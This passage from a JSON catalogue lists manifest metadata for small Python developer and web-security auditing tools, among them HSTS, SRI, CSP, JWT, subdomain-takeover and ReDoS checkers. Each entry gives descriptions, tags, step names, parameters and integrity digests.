'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:57b08133e9aa0e2baffafa84609d7184dcd3ea4b89d2a37a1ca73712e9d15887","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/graphql-schema-differ@0.1.0","reference":"ameykaulavkar/graphql-schema-differ@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/graphql-schema-differ@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/graphql-schema-differ@0.1.0","name":"graphql-schema-differ","title":"graphql-schema-differ","description":"GraphQL schema breaking change detector and SDL diff analyzer. Compares baseline and modified schemas to detect removed fields, new required arguments, type mutations, and unsafe deprecation cycles with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-graphql-api","job-schema-differ","tool-breaking-change-detector","audience-developers","effect-read-only"],"primary_domain":"domain-graphql-api","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:56:04.305937+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7413,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["graphql_sdl_parser","schema_evolution_advisor","breaking_change_classifier","dangerous_deprecation_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to GraphQL SDL schema file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4507c4c73e713267fb29f84687013a55d8dbf4a147c1c431edff8be2fed888df","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/hsts-preload-auditor@0.1.0","reference":"ameykaulavkar/hsts-preload-auditor@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/hsts-preload-auditor@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/hsts-preload-auditor@0.1.0","name":"hsts-preload-auditor","title":"hsts-preload-auditor","description":"HTTP Strict Transport Security (HSTS) evaluator and browser Preload list readiness auditor. Evaluates Strict-Transport-Security headers against Chromium/Mozilla preload criteria (max-age 1 year, includeSubDomains, preload), assesses intranet lockout risks, and outputs web server configurations with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-tls-transport","job-hsts-auditor","tool-preload-checker","audience-developers","effect-read-only"],"primary_domain":"domain-tls-transport","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:55:08.460274+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5571,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["hsts_header_extractor","hsts_hardening_recipes","preload_criteria_validator","subdomain_lockout_risk_scorer"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Domain name (e.g. example.com), raw Strict-Transport-Security header string, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3acf5227f65e4e77ecdb21b415883b64a1854c18e27c61794e91715dee61af0a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/sri-hash-generator@0.1.0","reference":"ameykaulavkar/sri-hash-generator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/sri-hash-generator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/sri-hash-generator@0.1.0","name":"sri-hash-generator","title":"sri-hash-generator","description":"Subresource Integrity (SRI) generator and external asset supply-chain auditor. Computes sha256/sha384/sha512 cryptographic hashes for CDN scripts and stylesheets, detects unprotected tags lacking SRI/CORS, evaluates supply chain risks (e.g. polyfill.io), and outputs hardened HTML tags with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-security","job-sri-generator","tool-supply-chain-radar","audience-developers","effect-read-only"],"primary_domain":"domain-web-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:54:14.368899+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6087,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["sri_tag_builder","html_tag_scanner","asset_fetcher_hasher","cdn_tamper_risk_evaluator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"URL to script/stylesheet, HTML snippet/file, local JS/CSS file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:38f335cc648056f4d1ed9414666cd00d922c0728b241aef2b563c54b08742cdb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/subdomain-takeover-radar@0.1.0","reference":"ameykaulavkar/subdomain-takeover-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/subdomain-takeover-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/subdomain-takeover-radar@0.1.0","name":"subdomain-takeover-radar","title":"subdomain-takeover-radar","description":"Subdomain takeover vulnerability scanner and dangling DNS CNAME auditor. Detects orphan DNS records pointing to decommissioned AWS S3 buckets, GitHub Pages, Heroku dynos, Azure apps, and CloudFront distributions with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-dns-security","job-takeover-auditor","tool-subdomain-radar","audience-developers","effect-read-only"],"primary_domain":"domain-dns-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:53:11.455553+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5570,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["http_status_probe","cname_chain_resolver","takeover_remediation_advisor","vulnerable_service_fingerprinter"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Subdomain to audit (e.g. blog.example.com), CNAME target, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2cdc1d36506d31160e5049dc7ce75425488ec7420b27022e3bbbd5abad048964","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/csp-policy-evaluator@0.1.0","reference":"ameykaulavkar/csp-policy-evaluator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/csp-policy-evaluator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/csp-policy-evaluator@0.1.0","name":"csp-policy-evaluator","title":"csp-policy-evaluator","description":"Content Security Policy (CSP) security scorer and XSS injection vulnerability evaluator. Audits CSP directives, detects unsafe-inline/eval bypasses, validates frame-ancestors clickjacking defense, and outputs production-hardened strict-dynamic policies with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-security","job-csp-evaluator","tool-xss-auditor","audience-developers","effect-read-only"],"primary_domain":"domain-web-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:37:41.777358+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6161,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["csp_directive_parser","xss_bypass_risk_scorer","csp_hardening_recommender","framing_clickjacking_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Raw Content-Security-Policy header string, path to HTTP header file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d51e8b6ec6c6059ece7916017dcbf2e32e64eceb1e99408adcd017ebf2f618c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/markdown-changelog-grade@0.1.0","reference":"ameykaulavkar/markdown-changelog-grade@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/markdown-changelog-grade@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/markdown-changelog-grade@0.1.0","name":"markdown-changelog-grade","title":"markdown-changelog-grade","description":"Keep a Changelog specification auditor and release notes hygiene grader. Audits CHANGELOG.md for standard sections (Added, Changed, Fixed, Security), ISO 8601 release dates, SemVer ascending/descending order, unreleased staging, and git diff reference links with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-docs-release","job-changelog-grader","tool-keep-a-changelog","audience-developers","effect-read-only"],"primary_domain":"domain-docs-release","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:36:47.868643+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6510,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["version_date_iso_bench","release_diff_links_checker","unreleased_hygiene_checker","keep_changelog_spec_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to CHANGELOG.md, repository root directory, raw markdown string, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:68d4c94b6e941ee881b80d8308601301d3d077f499292ef53ed32f9ec0be6691","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/i18n-coverage-checker@0.1.0","reference":"ameykaulavkar/i18n-coverage-checker@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/i18n-coverage-checker@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/i18n-coverage-checker@0.1.0","name":"i18n-coverage-checker","title":"i18n-coverage-checker","description":"Internationalization (i18n) key parity, translation coverage, and syntax drift auditor. Audits multi-locale JSON catalogs for missing keys, interpolation variable corruption ({name}, {{count}}), blank entries, and untranslated TODO tags with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-i18n-localization","job-translation-auditor","tool-coverage-checker","audience-developers","effect-read-only"],"primary_domain":"domain-i18n-localization","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:35:26.181188+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6335,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["parity_gap_detector","locale_keys_extractor","empty_translation_radar","placeholder_syntax_validator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to directory containing locale JSON files, locale file path, JSON string, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:28662ca904c9922acd42e35820812f09604e48a329580190f6312aade0dc5034","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/commit-lint-scorer@0.1.0","reference":"ameykaulavkar/commit-lint-scorer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/commit-lint-scorer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/commit-lint-scorer@0.1.0","name":"commit-lint-scorer","title":"commit-lint-scorer","description":"Conventional Commits linter and Git message quality scorer. Audits commit prefix types (feat, fix, chore, etc.), imperative mood verbs, subject line length & punctuation, and body/footer token specs with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-git-hygiene","job-commit-linter","tool-commit-scorer","audience-developers","effect-read-only"],"primary_domain":"domain-git-hygiene","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:34:33.350522+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6610,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["body_footer_parser","subject_hygiene_bench","imperative_mood_checker","conventional_type_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Commit message string or path to commit message text file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6da96ee88f90352a67990288ee0ccd09872248801a9ad9789e3b329f8e631b29","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/semver-drift-radar@0.1.0","reference":"ameykaulavkar/semver-drift-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/semver-drift-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/semver-drift-radar@0.1.0","name":"semver-drift-radar","title":"semver-drift-radar","description":"Semantic Versioning (SemVer) drift and package risk analyzer. Audits package.json for wildcard hazards, pre-1.0 caret drift, cross-dependency version collisions, and CI reproducibility with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-pkg-management","job-semver-auditor","tool-drift-radar","audience-developers","effect-read-only"],"primary_domain":"domain-pkg-management","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:33:38.475786+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6112,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["semver_range_audit","peer_conflict_estimator","pinning_recommendations","breaking_change_risk_scorer"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to package.json, directory containing package.json, raw JSON string, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7cd69b9f759032f15ae1e0bbf82648a82ed9547e4f86fbb9a00829fe87b08cd3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/prompt-token-meter@0.1.0","reference":"ameykaulavkar/prompt-token-meter@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/prompt-token-meter@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/prompt-token-meter@0.1.0","name":"prompt-token-meter","title":"prompt-token-meter","description":"LLM prompt token meter, multi-model cost benchmark, prompt injection scanner, and token compression advisor. Audits BPE token densities, multi-model API economics across Claude 3.5, GPT-4o, and Gemini 1.5, jailbreak vectors, and token compression opportunities with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-ai-prompting","job-prompt-cost-estimator","tool-token-meter","audience-developers","effect-read-only"],"primary_domain":"domain-ai-prompting","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:32:40.836091+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6622,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["bpe_token_estimator","multi_model_cost_bench","prompt_injection_scanner","token_compression_advisor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"File path to prompt markdown or text, or raw prompt string, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:56a1e9261bf02215d9ad6a1eaf3c77228ddb192d194f3b0f62fb4ce7babbd4ee","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/jwt-token-inspector@0.1.0","reference":"ameykaulavkar/jwt-token-inspector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/jwt-token-inspector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/jwt-token-inspector@0.1.0","name":"jwt-token-inspector","title":"jwt-token-inspector","description":"JSON Web Token (JWT) security auditor and claims decoder. Audits algorithm none exploits, weak HMAC ciphers, claims expiration timelines, unencrypted PII leaks, and RFC 7519 structure with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-auth-security","job-jwt-inspector","tool-token-auditor","audience-developers","effect-read-only"],"primary_domain":"domain-auth-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:31:02.911663+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6622,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["alg_none_and_cipher_probe","claims_timeline_evaluator","token_structure_validator","pii_and_sensitive_leak_radar"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"JWT token string (header.payload.signature) or Bearer token header, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:83b7202d016ebf7c93e294f52bbb5c02d893a070d70b7a778d1587184265eadd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/regex-redos-sentinel@0.1.0","reference":"ameykaulavkar/regex-redos-sentinel@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/regex-redos-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/regex-redos-sentinel@0.1.0","name":"regex-redos-sentinel","title":"regex-redos-sentinel","description":"Regular Expression Denial of Service (ReDoS) vulnerability scanner and catastrophic backtracking detector. Identifies nested quantifiers, overlapping alternations, unanchored greedy wildcards, and algorithmic time complexity with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-appsec","job-redos-scanner","tool-regex-sentinel","audience-developers","effect-read-only"],"primary_domain":"domain-appsec","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:29:48.374002+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6085,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["nested_quantifier_probe","backtracking_risk_scorer","overlapping_alternation_radar","anchoring_and_greediness_audit"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Regular expression pattern or source code file path, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7740b69f7302c22f619d246d0e5c4f3696a938170b326a16d3bab1eced05401c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/cron-syntax-explainer@0.1.0","reference":"ameykaulavkar/cron-syntax-explainer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/cron-syntax-explainer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/cron-syntax-explainer@0.1.0","name":"cron-syntax-explainer","title":"cron-syntax-explainer","description":"Cron expression syntax validator, natural language translator, next execution forecaster, and operational scheduling hazard analyzer. Runs with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-automation","job-cron-explainer","tool-cron-translator","audience-developers","effect-read-only"],"primary_domain":"domain-automation","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:28:18.340258+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7085,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["next_run_forecaster","cron_syntax_validator","human_schedule_translator","scheduler_anti_pattern_probe"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Cron expression to evaluate or path to crontab file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2cd53a2a70c265fd72bdcd5d0aaa49f00f565c6c4ac86cba7fb381496cbed2eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/json-schema-drift@0.1.0","reference":"ameykaulavkar/json-schema-drift@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/json-schema-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/json-schema-drift@0.1.0","name":"json-schema-drift","title":"json-schema-drift","description":"JSON Schema contract conformance and runtime payload drift validator. Detects missing required fields, type coercion mutations, extraneous undeclared keys, and enum/format validation errors with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-data-contracts","job-schema-validator","tool-json-drift","audience-developers","effect-read-only"],"primary_domain":"domain-data-contracts","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:26:32.416883+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6274,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["type_mutation_radar","missing_required_probe","extraneous_keys_auditor","enum_and_format_validator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to JSON file or directory containing schema and payload, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9b7f645bdbb855bb4448f2ced83ae0e02ba535d2f96c6e9f38f75609dfa8c939","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/postgres-query-analyzer@0.1.0","reference":"ameykaulavkar/postgres-query-analyzer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/postgres-query-analyzer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/postgres-query-analyzer@0.1.0","name":"postgres-query-analyzer","title":"postgres-query-analyzer","description":"PostgreSQL query execution plan and SQL performance analyzer. Detects sequential table scans (Seq Scan), unindexed nested loop joins, external disk sorts, and index-blocking SQL antipatterns with zero external 